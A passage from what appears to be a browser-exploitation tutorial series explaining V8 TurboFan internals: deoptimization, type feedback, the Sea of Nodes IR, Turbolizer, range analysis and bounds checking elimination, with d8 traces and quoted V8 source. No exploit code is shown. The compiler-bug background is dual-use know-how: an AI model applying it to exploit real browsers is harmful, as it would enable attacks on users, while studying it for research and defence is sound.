<span class="nf">testb</span> <span class="nb">rcx</span><span class="p">,</span><span class="mh">0x1</span> <span class="c1">; Check if rcx is an SMI</span>
<span class="nf">jnz</span> <span class="mi">00007</span><span class="nv">FFB0000422A</span> <span class="o"><+</span><span class="mh">0x1ea</span><span class="o">></span> <span class="c1">; If check fails, bailout</span>
</code></pre></div></div>
<p>Now deoptimizations due to type guards aren’t just limited in checking if there is a mismatch in object types. They also work on arithmetic operations and bound checking.</p>
<p>For example, if our optimized code was optimized for arithmetic operations on 32bit integers, and there is an overflow, we can deoptimize and let Ignition handle the calculations - thus protecting us from potential security issues on the machine. Such issues that can lead to deoptimization are known as “side-effects” (which we’ll cover in more detail later).</p>
<p>As with the optimization process, we can also see deoptimization in action within <code class="language-plaintext highlighter-rouge">d8</code> by utilizing the <code class="language-plaintext highlighter-rouge">--trace-deopt</code> flag. Once done, let’s re-add our <code class="language-plaintext highlighter-rouge">add</code> function and run the following loop.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nx">i</span><span class="o"><</span><span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">i</span><span class="o"><</span><span class="mi">7000</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">add</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">add</span><span class="p">(</span><span class="dl">"</span><span class="s2">string</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This simply will let the function be optimized for numbers, and then after 7k iterations, we’ll start passing in a string - which should trigger a bail out. Your output should be similar to mines.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> function add(i) {return 1 + i;}
d8> for (let i=0; i<10000; i++) {if (i<7000) {add(i);} else {add("string");}}
[marking 0x03e20025ac55 <JSFunction (sfi = 000003E20025AB5D)> for optimization to TURBOFAN, ConcurrencyMode::kConcurrent, reason: small function]
[compiling method 0x03e20025ac55 <JSFunction (sfi = 000003E20025AB5D)> (target TURBOFAN) OSR, mode: ConcurrencyMode::kConcurrent]
[completed compiling 0x03e20025ac55 <JSFunction (sfi = 000003E20025AB5D)> (target TURBOFAN) OSR - took 1.987, 70.704, 2.731 ms]
[completed optimizing 0x03e20025ac55 <JSFunction (sfi = 000003E20025AB5D)> (target TURBOFAN) OSR]
[bailout (kind: deopt-eager, reason: Insufficient type feedback for call): begin. deoptimizing 0x03e20025ac55 <JSFunction (sfi = 000003E20025AB5D)>, 0x7ffb00004001 <Code TURBOFAN>, opt id 0, node id 63, bytecode offset 40, deopt exit 3, FP to SP delta 96, caller SP 0x00ea459fe250, pc 0x7ffb00004274]
[compiling method 0x03e20025ac55 <JSFunction (sfi = 000003E20025AB5D)> (target TURBOFAN) OSR, mode: ConcurrencyMode::kConcurrent]
[completed compiling 0x03e20025ac55 <JSFunction (sfi = 000003E20025AB5D)> (target TURBOFAN) OSR - took 0.325, 121.591, 1.425 ms]
[completed optimizing 0x03e20025ac55 <JSFunction (sfi = 000003E20025AB5D)> (target TURBOFAN) OSR]
"1string"
</code></pre></div></div>
<p>As you can see, the functions gets optimized, and later we trigger a bailout. This deoptimizes the code back to bytecode due to an insufficient type during our call. Then, something interesting happens. The function gets optimized again. Why?</p>
<p>Well, the function is still “hot” and there are a few more thousand iterations to go. What TurboFan will do, now that it collected both a number and string within the type feedback, is that it will go back and optimize the code for a second time. But this time it will add code which will allow for string evaluation. In this case, a second type guard will be added - so the second run of code is now optimized for <strong>both</strong> a number and a string!</p>
<p>A good example and explanation of this can be seen in the video “<a href="https://www.youtube.com/watch?v=mjHtadilm00">Inside V8: The choreography of Ignition and TurboFan</a>”.</p>
<p>We can also see this updated feedback in the <code class="language-plaintext highlighter-rouge">BinaryOp</code> slot by running the <code class="language-plaintext highlighter-rouge">%DebugPrint</code> command against our <code class="language-plaintext highlighter-rouge">add</code> function. You should see something similar as below.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> %DebugPrint(add)
DebugPrint: 000003E20025970D: [Function] in OldSpace
- map: 0x03e200243fa1 <Map[32](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x03e200243ec9 <JSFunction (sfi = 000003E20020AA45)>
- elements: 0x03e200002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype:
- initial_map:
- shared_info: 0x03e20025962d <SharedFunctionInfo add>
- name: 0x03e200005809 <String[3]: #add>
- builtin: InterpreterEntryTrampoline
- formal_parameter_count: 1
- kind: NormalFunction
- context: 0x03e200243881 <NativeContext[273]>
- code: 0x03e20020b31d <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
- interpreted
- bytecode: 0x03e20025aca5 <BytecodeArray[9]>
- source code: (i) {return 1 + i;}
- properties: 0x03e200002259 <FixedArray[0]>
...
- feedback vector: 000003E20025ACF1: [FeedbackVector] in OldSpace
- map: 0x03e20000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 1
- shared function info: 0x03e20025962d <SharedFunctionInfo add>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 5623
- profiler ticks: 0
- closure feedback cell array: 000003E200003511: [ClosureFeedbackCellArray] in ReadOnlySpace
- map: 0x03e200002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 0
- slot #0 BinaryOp BinaryOp:Any {
[0]: 127
}
</code></pre></div></div>
<p>As you can see, the <code class="language-plaintext highlighter-rouge">BinaryOp</code> now stores the feedback type of <code class="language-plaintext highlighter-rouge">Any</code>, instead of <code class="language-plaintext highlighter-rouge">SignedSmall</code> and <code class="language-plaintext highlighter-rouge">String</code>. Why? Well, this is due to something called the Feedback Lattice.</p>
<h2 id="feedback-lattice">Feedback Lattice</h2>
<p>The feedback lattice stores the possible feedback states for an operation. It starts with <code class="language-plaintext highlighter-rouge">None</code>, which indicates that it hasn’t seen anything and it goes down toward the <code class="language-plaintext highlighter-rouge">Any</code> state, which indicates that it’s seen a combination of inputs and outputs. The <code class="language-plaintext highlighter-rouge">Any</code> state indicates that the function is to be considered polymorphic, while in contrast, any other state indicates that the function is monomorphic - since it’s only produced a certain value.</p>
<p>If you would like to learn more about the difference between monomorphic and polymorphic code, I highly suggest you read the fantastic article “<a href="https://mrale.ph/blog/2015/01/11/whats-up-with-monomorphism.html">What’s up with Monomorphism?</a>”.</p>
<p>Below, I have provided you a visual example of what the feedback lattice roughly looks like.</p>
<p align="center"><a href="/images/FeedbackLattice.png"><img src="/images/FeedbackLattice.png" /></a></p>
<p>Just like the array lattice from <a href="https://jhalon.github.io/chrome-browser-exploitation-1/">Part 1</a>, this lattice works the same way. Feedback can only progress downwards in the lattice. Once we go from Number to Any, we can never go back. If we do go back for some magic reason, then we risk entering a so-called <em>deoptimization loop</em> where the optimizing compiler consumes invalid feedback and bails out from optimized code continuously.</p>
<p>You can see more information on the type checks within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/use-info.h;l=122"><code class="language-plaintext highlighter-rouge">v8/src/compiler/use-info.h</code></a> file. Also, if you want to learn more about V8’s feedback system and inline cache, I suggest watching “<a href="https://www.youtube.com/watch?v=u7zRSm8jzvA">V8 and How It Listens to You - Michael Stanton</a>”.</p>
<h2 id="sea-of-nodes-intermediate-representation-ir">“Sea of Nodes” Intermediate Representation (IR)</h2>
<p>Now that we know how type feedback is collected for TurboFan to make its speculative assumptions, let’s see how TurboFan builds its specialized IR from this feedback. The reason that IR is generated is due to the fact that this data structure abstracts from code complexity, which in turn makes it easier to preform compiler optimizations.</p>
<p>Now, TurboFans “Sea of Nodes” IR is based on <a href="https://en.wikipedia.org/wiki/Static_single-assignment_form">static single assignment</a> or SSA, which is a property of IR that requires each variable to be assigned exactly once and defined before it is used. This is useful for optimizations such as <a href="https://en.wikipedia.org/wiki/Partial-redundancy_elimination">redundancy elimination</a>.</p>
<p>An example of SSA for our <code class="language-plaintext highlighter-rouge">add</code> function from our previous example can be seen below.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// function add(i) {return 1 + i;}</span>
<span class="kd">var</span> <span class="nx">i1</span> <span class="o">=</span> <span class="nx">argument</span>
<span class="kd">var</span> <span class="nx">r1</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">+</span> <span class="nx">i1</span>
<span class="k">return</span> <span class="nx">r1</span>
</code></pre></div></div>
<p>This SSA form is then converted to a graph format, which is similar to a <a href="https://en.wikipedia.org/wiki/Control-flow_graph">control-flow graph (CFG)</a> where it uses nodes and edges to represent code and its dependencies between computations. This type of graph form allows TurboFan to utilize it for both data-flow analysis and machine code generation.</p>
<p>So, let’s see how this Sea of Nodes looks like. We’ll use our <code class="language-plaintext highlighter-rouge">hot_function</code> example for this. Start by creating a new JavaScript file and add the following to it.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">hot_function</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">x</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">hot_function</span><span class="p">({</span><span class="na">x</span><span class="p">:</span><span class="nx">i</span><span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Once done, we will run this script via <code class="language-plaintext highlighter-rouge">d8</code> with the <code class="language-plaintext highlighter-rouge">--trace-turbo</code> flag which allows us to trace and save the IR generated by TurboFans JIT. Your output should look similar to mines. At the end of the run, it should generate a JSON file that has the naming convention of <code class="language-plaintext highlighter-rouge">turbo-*.json</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 --trace-turbo hot_function.js
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method add using TurboFan
---------------------------------------------------
Finished compiling method add using TurboFan
</code></pre></div></div>
<p>After that’s completed, navigate to <a href="https://v8.github.io/tools/head/turbolizer/index.html">Turbolizer</a> in a web browser, press <code class="language-plaintext highlighter-rouge">CTRL + L</code> and load your JSON file. This tool will help us visualize the sea of nodes graph generated by TurboFan.</p>
<p>The graph you see should pretty much be identical to mines.</p>
<p align="center"><a href="/images/TurboFanGraph.png"><img src="/images/TurboFanGraph.png" /></a></p>
<p>In Turbolizer, on the left you’ll see your source code, and the right side (not shown in image) you’ll have the optimized machine code that was generated by TurboFan. In the middle you will have the sea of nodes graph.</p>
<p>Currently there are a lot of the nodes hidden and only the control nodes are shown, which is the default behavior. If you click on the “Show All Nodes” box to the right of the “refresh” symbol, you’ll see all the nodes.</p>
<p>By messing around in Turbolizer and viewing the graph you’ll notice that there are five different colors of nodes and they represent the following:</p>
<ul>
<li><span style="color:#EFCC00"><strong>Yellow</strong></span>: These nodes represent control nodes, meaning anything that can change the “flow” of the script - such as an if/else statement.</li>
<li><span style="color:#C3D8F3"><strong>Light Blue</strong></span>: These nodes represent a value a certain node can have or return, such as heap constants or inlined values.</li>
<li><span style="color:#DD7E6B"><strong>Red</strong></span>: Represents semantics of JavaScript’s overloaded operators, such as any action that is executed at the JavaScript level, i.e., <code class="language-plaintext highlighter-rouge">JSCall</code>, <code class="language-plaintext highlighter-rouge">JSAdd</code>, etc. These resemble bytecode operations.</li>
<li><span style="color:#3C78D8"><strong>Blue</strong></span>: Express VM-level operations, such as allocations, bound checks, loading data off stack, etc. This is helpful in tracking feedback being consumed by Turbofan.</li>
<li><span style="color:#6AA84F"><strong>Green</strong></span>: These correspond to single machine level instructions.</li>
</ul>
<p>As we can see, each node within this Sea of Nodes can represent arithmetic operations, loads, stores, calls, constants, etc. Then there are three edges (represented by the arrows between each node) that we need to know about which express dependencies. These edges are:</p>
<ul>
<li><strong>Control</strong>: Just like in a CFG, these edges enable branches and loops.</li>
<li><strong>Value</strong>: Just like in Data Flow Graphs, these show value dependencies and output.</li>
<li><strong>Effect</strong>: Detail order operations such as reading or writing states.</li>
</ul>
<p>With that knowledge, let’s expand the graph a little bit and look at a few of the other nodes to understand how the flow works. Take note that I have hidden a few select nodes that aren’t really important.</p>
<p align="center"><a href="/images/TurboFanGraph2.png"><img src="/images/TurboFanGraph2.png" /></a></p>
<p>As we can see, the <span style="color:#EFCC00">Yellow</span> colored nodes are control nodes which manage the flow of the function. Initially we have the <code class="language-plaintext highlighter-rouge">Loop</code> node which tells us that we are going into a loop. From there the control edges points to the <code class="language-plaintext highlighter-rouge">Branch</code> and <code class="language-plaintext highlighter-rouge">LoopExit</code> nodes. The <code class="language-plaintext highlighter-rouge">Branch</code> is exactly what it means, it “branches” the loop into a True/False statement.</p>
<p>If we follow the <code class="language-plaintext highlighter-rouge">Branch</code> node up, we will see that it has a <code class="language-plaintext highlighter-rouge">SpeculativeNumberLessThan</code> node which has a value edge pointing to a <code class="language-plaintext highlighter-rouge">NumberConstant</code> with the value of <code class="language-plaintext highlighter-rouge">10000</code>. This falls in line with our function, since we were looping 10k times. Since this node is <span style="color:#6AA84F">Green</span>, it is a machine instruction, and signifies our <strong>type guard</strong> for the loop.</p>
<p>You can see from the <code class="language-plaintext highlighter-rouge">SpeculativeNumberLessThan</code> node that there is an effect edge pointing to <code class="language-plaintext highlighter-rouge">LoopExitEffect</code>, which means that if the number is more then 10k, we exit the loop, because we just broke the assumption.</p>
<p>While the value is under 10k and the <code class="language-plaintext highlighter-rouge">SpeculativeNumberLessThan</code> is true, we will load our object, and call <code class="language-plaintext highlighter-rouge">JSDefineNamedOwnProperty</code> which will get the objects offset to property <code class="language-plaintext highlighter-rouge">x</code>. Then we call <code class="language-plaintext highlighter-rouge">JSCall</code> to add 1 to our property value and return the value. From that node we also have an effect edge going to <code class="language-plaintext highlighter-rouge">SpeculativeSafeIntegerAdd</code>. This node has a value edge pointing to a <code class="language-plaintext highlighter-rouge">NumberConstant</code> node that has the value of 1, which is the mathematical addition we are doing when we return the value.</p>
<p>Again note that we have a <code class="language-plaintext highlighter-rouge">SpeculativeSafeIntegerAdd</code> node that checks to make sure that the addition arithmetic we are doing is indeed adding an SMI and not something else, otherwise it would trigger the type guard and deoptimize.</p>
<p>For those that might be wondering what the <code class="language-plaintext highlighter-rouge">Phi</code> node is, that’s basically an SSA node that merges the two (or more) possibilities for a value that have been computed by different branches. In this case it’s merging both of the potential integer speculations together.</p>
<p>As you can see, understanding these graphs isn’t too complex once you understand the basics.</p>
<p>Now, if you look at the top left portion of the sea of nodes window, you’ll see that we are in the <code class="language-plaintext highlighter-rouge">V8.TFBytecodeGraphBuilder</code> option. This option shows us the generated IR from bytecode without any optimizations applied to it. From the drop-down menu we can select the other different optimization passes that this code goes through to view the associated IR.</p>
<h1 id="common-optimizations">Common Optimizations</h1>
<p>Alright, now that we covered TurboFans Sea of Nodes, we should have at least a decent understanding of how to navigate and understand the generated IR. From here we can dive into understanding some of TurboFans common optimizations. These optimizations in essence act on the original graph that was produce from bytecode.</p>
<p>Since the resulting graph now has static type information due to type guards, the optimizations are done in a more classic ahead-of-time fashion to improve the execution speed or memory footprint of the code. Afterwards, once the graph is optimized, the resulting graph is lowered to machine code (known as “lowering”) and is then written into an executable memory region for V8 to execute when the compiled function is called.</p>
<p>One thing to note, is that lowering can happen in multiple stages with further optimizations in between, making this compiler pipeline pretty flexible.</p>
<p>With that being said, let’s look into a few of these common optimizations.</p>
<h2 id="typer">Typer</h2>
<p>One of the earliest optimization phases is called the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/pipeline.cc;l=1475"><code class="language-plaintext highlighter-rouge">TyperPhase</code></a> which is ran by the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/pipeline.cc;l=2904"><code class="language-plaintext highlighter-rouge">OptimizeGraph</code></a> function. This phase traces through the code and identifies the resulting types of operations from heap objects, such as Int32 + Int32 = Int32.</p>
<p>When <code class="language-plaintext highlighter-rouge">Typer</code> <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/typer.cc;l=455">runs</a> it will <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/typer.cc;l=58">visit</a> every node of the graph and will try to “reduce” them down by trying to simplify operation logic. It will then call the node’s associated typer call to associate a <code class="language-plaintext highlighter-rouge">Type</code> with it.</p>
<p>For example, in our case the constant integers within the loop and return arithmetic will be visited by <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/typer.cc;l=880"><code class="language-plaintext highlighter-rouge">Typer::Visitor::TypeNumberConstant</code></a>, which will return a type of <code class="language-plaintext highlighter-rouge">Range</code> - as can be seen by the code example from <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/types.cc;l=870"><code class="language-plaintext highlighter-rouge">v8/src/compiler/types.cc</code></a>.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Type</span> <span class="n">Type</span><span class="o">::</span><span class="n">Constant</span><span class="p">(</span><span class="kt">double</span> <span class="n">value</span><span class="p">,</span> <span class="n">Zone</span><span class="o">*</span> <span class="n">zone</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">RangeType</span><span class="o">::</span><span class="n">IsInteger</span><span class="p">(</span><span class="n">value</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">Range</span><span class="p">(</span><span class="n">value</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">zone</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">IsMinusZero</span><span class="p">(</span><span class="n">value</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">Type</span><span class="o">::</span><span class="n">MinusZero</span><span class="p">();</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">isnan</span><span class="p">(</span><span class="n">value</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">Type</span><span class="o">::</span><span class="n">NaN</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now what about our speculation nodes?</p>
<p>For those, they are handled by the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/operation-typer.cc"><code class="language-plaintext highlighter-rouge">OperationTyper</code></a>. In our case, the arithmetic speculation for returning our value will call <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/operation-typer.cc;l=680"><code class="language-plaintext highlighter-rouge">OperationTyper::SpeculativeSafeIntegerAdd</code></a> which will set the type to a “safe integer” range, such as <code class="language-plaintext highlighter-rouge">Int64</code>. This type will be checked, and if it’s not an <code class="language-plaintext highlighter-rouge">Int64</code> during execution, we deoptimize. This in essence allows for arithmetic operations to have positive and negative return value and it prevents potential over/underflow issues.</p>
<p>Knowing this, let’s take a look at the <code class="language-plaintext highlighter-rouge">V8.TFTyper</code> optimization phase to see the graph and the nodes associated types.</p>
<p align="center"><a href="/images/TurboFanTyper.png"><img src="/images/TurboFanTyper.png" /></a></p>
<h2 id="range-analysis">Range Analysis</h2>
<p>During the <code class="language-plaintext highlighter-rouge">Typer</code> optimization the compiler traces through the code, identifies the range of operations and calculates the bounds of the resulting values. This is known as range analysis.</p>
<p>If you noticed in the graph above, we encountered the <code class="language-plaintext highlighter-rouge">Range</code> type, especially for the <code class="language-plaintext highlighter-rouge">SpeculativeSafeIntegerAdd</code> node which had the range of an <code class="language-plaintext highlighter-rouge">Int64</code> variable. The reason this was done is because the range analysis optimizer computes the min and max of values that are added or returned.</p>
<p>In our case, we were returning the value of <code class="language-plaintext highlighter-rouge">i</code> from our object’s property of <code class="language-plaintext highlighter-rouge">x</code> plus 1. The type feedback only really knew that the value returned is an integer and that’s it, it never really could tell what range the value would be. So, to err on the safe side, it decided to give it the largest value possible in order to prevent issues.</p>
<p>So, let’s take another look at this range analysis by considering the following code:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">hot_function</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">values</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">1337</span><span class="p">]</span>
<span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">obj</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">leet</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">a</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">values</span><span class="p">[</span><span class="nx">a</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As we can see, depending on what type of <code class="language-plaintext highlighter-rouge">obj</code> parameter is passed in, if <code class="language-plaintext highlighter-rouge">obj</code> is a string that equals the word <code class="language-plaintext highlighter-rouge">leet</code> then <code class="language-plaintext highlighter-rouge">a</code> will equal 1337, otherwise it will equal 13. This part of the code will go through SSA and be merged into a <code class="language-plaintext highlighter-rouge">Phi</code> node that will contain the range of what <code class="language-plaintext highlighter-rouge">a</code> can be. The constants will have their range set to their hardcoded value, but these constants will also have an effect on our speculative ranges due to arithmetic computations.</p>
<p>If we were to look at the graph produced from this code after range analysis, we should see the following.</p>
<p align="center"><a href="/images/TurboFanRange.png"><img src="/images/TurboFanRange.png" /></a></p>
<p>As you can see, due to SSA we have the <code class="language-plaintext highlighter-rouge">Phi</code> node. During range analysis the typer visits the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/typer.cc;l=903"><code class="language-plaintext highlighter-rouge">TypePhi</code></a> node function and creates a union of the operands 13 and 1337, allowing us to have the possible range for <code class="language-plaintext highlighter-rouge">a</code>.</p>
<p>For the speculative nodes, the <code class="language-plaintext highlighter-rouge">OperationTyper</code> calls the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/operation-typer.cc;l=170"><code class="language-plaintext highlighter-rouge">AddRanger</code></a> function which computes the min and max bounds for the <code class="language-plaintext highlighter-rouge">Range</code> type. In this case you can see that the typer computes the range of our return values for both possible iteration of <code class="language-plaintext highlighter-rouge">a</code> after our arithmetic operations.</p>
<p>With this, in the case that the range analysis fails and we get a value not expected by the compiler, we deoptimize. Pretty simple to understand!</p>
<h2 id="bounds-checking-elimination-bce">Bounds Checking Elimination (BCE)</h2>
<p>Another common optimization that was applied with the <code class="language-plaintext highlighter-rouge">Typer</code> during the simplified lowering phase was the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/operation-typer.cc;l=1335"><code class="language-plaintext highlighter-rouge">CheckBounds</code></a> operation which is applied to <code class="language-plaintext highlighter-rouge">CheckBound</code> speculative nodes. This optimization is usually applied to array access operations if the index of the array has been proven to be within the bounds of the array after range analysis.</p>
<p>The reason I say “<strong>was</strong>” is due to the fact that the Chromium team has decided to disable this optimization in order to <a href="https://bugs.chromium.org/p/v8/issues/detail?id=8806">harden</a> TurboFan’s bounds check against typer bugs. There are some “bugs” that will allow you to get around the hardening, but I won’t get into that. If you want to learn more about those bugs then I suggest reading “<a href="https://doar-e.github.io/blog/2019/05/09/circumventing-chromes-hardening-of-typer-bugs/">Circumventing Chrome’s Hardening of Typer Bugs</a>”.</p>
<p>Either way, let’s demonstrate how this type of optimization would have worked by taking the following code for example:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">hot_function</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">values</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">1337</span><span class="p">]</span>
<span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">obj</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">leet</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">a</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">values</span><span class="p">[</span><span class="nx">a</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As you can see, this is pretty much similar to the code we used in our range analysis. We again accept a parameter to our <code class="language-plaintext highlighter-rouge">hot_function</code> and if the object matches a string of “leet” we set <code class="language-plaintext highlighter-rouge">a</code> to 2 and return the value of 1337, otherwise we set <code class="language-plaintext highlighter-rouge">a</code> to 1 and return the value of 13.</p>
<p>Particularly take note that <code class="language-plaintext highlighter-rouge">a</code> never equals 0, so we’ll never or at least should never be able to return 0. This creates an interesting case for us when we look at the graph. So, let’s look at the escape analysis portion of the IR and see how our graph looks like.</p>
<p align="center"><a href="/images/TurboFanEscape.png"><img src="/images/TurboFanEscape.png" /></a></p>
<p>As you can see, we have another <code class="language-plaintext highlighter-rouge">Phi</code> node that merges our potential values of <code class="language-plaintext highlighter-rouge">a</code> and then we have our <code class="language-plaintext highlighter-rouge">CheckBounds</code> node which is used to check the bounds of the array. If we are in range of 1 or 2, we call <code class="language-plaintext highlighter-rouge">LoadElement</code> to load our element from the array, otherwise we will bailout since the bounds check is not expecting an index of 0.</p>
<p>For those that have noticed it already, you might be wondering why our <code class="language-plaintext highlighter-rouge">LoadElement</code> is of type <code class="language-plaintext highlighter-rouge">Signed31</code> and not a <code class="language-plaintext highlighter-rouge">Signed32</code>. Simply, <code class="language-plaintext highlighter-rouge">Signed31</code> represents the fact that the first bit is used to denote sign. This means that, in the case of a 32-bit signed integer, we are actually working with 31 value bits instead of 32. Also, as we can see the <code class="language-plaintext highlighter-rouge">LoadElement</code> has an input of a <code class="language-plaintext highlighter-rouge">FixedArray HeapConstant</code> with a length of 3. This array would be our <code class="language-plaintext highlighter-rouge">values</code> array.</p>
<p>Once escape analysis has been conducted, we move onto the simplified lowering phase. This lowering phase simply (pun intended) changes all value representations to the correct machine representation, as dictated by the machine operators themselves. The code for this phase is located within <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/simplified-lowering.cc"><code class="language-plaintext highlighter-rouge">v8/src/compiler/simplified-lowering.cc</code></a>. It is within this phase that bounds checking elimination is conducted.</p>
<p>So how does the compiler decide to make a <code class="language-plaintext highlighter-rouge">CheckBounds</code> node redundant?</p>
<p>Well, for each <code class="language-plaintext highlighter-rouge">CheckBounds</code> node the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/simplified-lowering.cc;l=1867"><code class="language-plaintext highlighter-rouge">VisitCheckBounds</code></a> function is going to be called. This function is responsible for checking and making sure that the index’s minimum range is equal to or greater than zero and that it’s maximum range does not exceed the array length. If the check is true, then it triggers a <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/simplified-lowering.cc;l=4334?q=DeferReplacement&sq=&ss=chromium%2Fchromium%2Fsrc"><code class="language-plaintext highlighter-rouge">DeferReplacement</code></a> which marks the node for removal.</p>
<p>An example of the <code class="language-plaintext highlighter-rouge">VisitCheckBounds</code> function before the hardening commit <a href="https://crrev.com/7bb6dc0e06fa158df508bc8997f0fce4e33512a5">7bb6dc0e06fa158df508bc8997f0fce4e33512a5</a> can be seen below.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">void</span> <span class="nf">VisitCheckBounds</span><span class="p">(</span><span class="n">Node</span><span class="o">*</span> <span class="n">node</span><span class="p">,</span> <span class="n">SimplifiedLowering</span><span class="o">*</span> <span class="n">lowering</span><span class="p">)</span> <span class="p">{</span>
<span class="n">CheckParameters</span> <span class="k">const</span><span class="o">&</span> <span class="n">p</span> <span class="o">=</span> <span class="n">CheckParametersOf</span><span class="p">(</span><span class="n">node</span><span class="o">-></span><span class="n">op</span><span class="p">());</span>
<span class="n">Type</span> <span class="k">const</span> <span class="n">index_type</span> <span class="o">=</span> <span class="n">TypeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-></span><span class="n">InputAt</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
<span class="n">Type</span> <span class="k">const</span> <span class="n">length_type</span> <span class="o">=</span> <span class="n">TypeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-></span><span class="n">InputAt</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">length_type</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">Unsigned31</span><span class="p">()))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">index_type</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">Integral32OrMinusZero</span><span class="p">()))</span> <span class="p">{</span>
<span class="c1">// Map -0 to 0, and the values in the [-2^31,-1] range to the</span>
<span class="c1">// [2^31,2^32-1] range, which will be considered out-of-bounds</span>
